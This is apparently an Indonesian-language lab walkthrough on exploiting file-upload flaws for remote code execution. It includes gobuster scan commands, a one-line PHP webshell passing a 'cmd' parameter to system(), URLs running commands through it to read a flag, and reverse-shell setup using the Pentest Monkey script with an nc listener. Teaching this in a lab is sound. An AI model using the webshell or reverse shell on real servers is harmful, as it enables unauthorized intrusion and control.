Upload Vulnerabilities - Remote Code Execution


Upload Vulnerabilities - Overwriting Existing Files dapat menyebabkan beberapa kerentanan, mari kita gunakan RCE!
Remote Code Execution akan memungkinkan kita untuk mengeksekusi kode secara acak di server web. Meskipun ini mungkin dilakukan sebagai akun pengguna web dengan hak istimewa rendah (seperti www-data pada server Linux), ini tetap merupakan kerentanan yang sangat serius. Eksekusi kode jarak jauh (RCE) melalui kerentanan unggahan dalam aplikasi web cenderung dieksploitasi dengan mengunggah program yang ditulis dalam bahasa yang sama dengan back-end situs web (atau bahasa lain yang dipahami dan akan dieksekusi oleh server).
Secara tradisional ini adalah PHP, namun, akhir-akhir ini, bahasa back-end lainnya menjadi lebih umum (Python Django dan Javascript dalam bentuk Node.js adalah contoh utama). Perlu dicatat bahwa dalam aplikasi yang dirutekan (yaitu aplikasi yang rutenya ditentukan secara terprogram daripada dipetakan ke sistem file), metode serangan ini menjadi jauh lebih rumit dan jauh lebih kecil kemungkinannya untuk terjadi. Sebagian besar kerangka kerja web modern dirutekan secara terprogram.

Ada dua cara dasar untuk mencapai RCE pada server web saat mengeksploitasi kerentanan unggahan file: webshell, dan reverse/bind shell. Secara realistis, reverse/bind shell yang berfitur lengkap adalah tujuan ideal bagi penyerang; namun, webshell mungkin merupakan satu-satunya opsi yang tersedia (misalnya, jika batas panjang file telah diberlakukan pada unggahan, atau jika aturan firewall mencegah shell berbasis jaringan apa pun).

mari kita mulai dengan pemindaian gobuster:
.gobuster dir -u [Domain] -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.tx
atau
.gobuster dir -u [Domain] -w /usr/share/wordlists/dirb/common.txt

Mari kita asumsikan bahwa kita telah menemukan halaman web dengan formulir unggah:


Web Shell Approach

. nano webshell.php
Saya menggunakan perintah nano webshell.php untuk membuat file baru bernama webshell.php
Saya mulai dengan menggunakan skrip PHP sederhana yang mencetak output

<?php
echo system($_GET["cmd"]);
?>

Setelah megungah file, saya memasukkan perintah berikut di bawah ini ke dalam browser untuk mengubah direktori dan mencantumkan apa yang ada dalam jalur direktori /var/www
. http://shell.uploadvulns.thm/resources/webshell.php?cmd=cd /var/www;ls -a;
untuk membaca file
. http://shell.uploadvulns.thm/resources/webshell.php?cmd=cd /var/www;cat flag.txt


Reverse Shells

Proses untuk mengunggah reverse shell hampir identik dengan mengunggah webshell, jadi bagian ini akan lebih pendek. Kita akan menggunakan reverse shell Pentest Monkey yang ada di mana-mana, yang tersedia secara default di Kali Linux, tetapi juga dapat diunduh di sini.

perlu mengedit baris 49
.$IP
.$Port

Setelah megungah file mulai untuk listner
Mulai pendengar dengan mengetik perintah berikut
.nc -nlvp 1234

Situs web tersebut seharusnya hang dan tidak dapat dimuat sebagaimana mestinya — namun, jika kita kembali ke terminal, kita berhasil!